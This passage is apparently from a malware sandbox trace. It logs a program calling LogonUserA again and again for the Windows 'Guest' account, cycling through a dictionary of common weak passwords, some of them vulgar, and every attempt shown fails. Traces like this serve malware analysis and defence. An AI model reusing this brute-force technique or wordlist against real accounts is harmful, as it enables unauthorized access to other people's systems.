phToken=0x21fea4*=0x0) returned 0 [0057.492] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="131313", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.492] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.492] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bitch", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.493] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hello", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.493] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="scooter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.493] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="please", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.494] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="porsche", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.494] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="guitar", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.494] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chelsea", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.495] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="black", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.495] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="diamond", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.495] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="nascar", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.495] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jackson", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.496] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cameron", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.496] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="654321", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.496] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="computer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.496] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="amanda", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.497] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="wizard", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.497] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="xxxxxxxx", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.497] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="money", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.497] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="phoenix", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.498] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mickey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.498] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bailey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.498] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="knight", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.499] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iceman", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.499] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="tigers", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.499] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="purple", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.499] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="andrea", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.500] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="horny", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.500] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dakota", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.500] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="aaaaaa", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.500] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="player", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.501] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="sunshine", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.501] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="morgan", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.501] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="starwars", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.502] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="boomer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.502] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cowboys", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.502] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="edward", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.502] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="charles", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.503] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="girls", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.503] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="booboo", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.503] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="coffee", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.503] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="xxxxxx", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.504] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bulldog", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.504] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ncc1701", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.504] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="rabbit", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.505] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="peanut", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.505] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="john", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.505] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="johnny", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.505] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="gandalf", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.506] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="spanky", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.506] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="winter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.506] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="brandy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.506] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="compaq", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.507] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="carlos", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.507] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="tennis", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.507] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="james", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.507] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="mike", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.508] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="brandon", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.508] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fender", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.508] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="anthony", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.509] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blowme", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.509] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="ferrari", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.509] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cookie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.510] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chicken", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.510] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="maverick", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.510] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chicago", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.510] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="joseph", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.511] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="diablo", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.511] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="sexsex", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.511] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hardcore", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.512] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="666666", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.512] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="willie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.512] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="welcome", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.512] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chris", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.513] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="panther", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.513] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="yamaha", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.513] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="justin", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.513] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="banana", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.514] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="driver", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.514] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="marine", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.514] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="angels", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.515] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fishing", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.515] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="david", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.515] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="maddog", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.515] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hooters", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.516] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="wilson", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.516] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="butthead", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.516] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dennis", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.516] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fucking", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.517] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="captain", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.517] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bigdick", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.517] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="chester", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.518] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="smokey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.518] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="xavier", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.518] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="steven", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.518] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="viking", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.519] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="snoopy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.519] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="blue", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.519] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="eagles", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.519] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="winner", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.520] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="samantha", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.520] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="house", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.520] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="miller", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.520] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="flower", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.521] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jack", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.521] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="firebird", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.521] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="butter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.522] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="united", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.522] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="turtle", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.522] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="steelers", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.523] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="tiffany", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.523] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="zxcvbn", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.523] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="tomcat", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.523] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="golf", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.524] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bond007", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.524] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="bear", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.524] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="tiger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.524] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="doctor", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.525] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="gateway", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.525] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="gators", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.526] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="angel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.526] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="junior", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.526] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="thx1138", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.527] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="porno", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.527] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="badboy", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.527] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="debbie", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.527] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="spider", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.528] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="melissa", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.528] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="booger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.528] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1212", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.528] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="flyers", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.529] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="fish", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.529] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="porn", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.529] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="matrix", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.529] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="teens", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.530] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="scooby", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.530] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jason", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.530] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="walter", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.531] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="cumshot", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x21fea4 | out: phToken=0x21fea4*=0x0) returned 0 [0057.531] LogonUserA (in: lpszUsername="Guest", 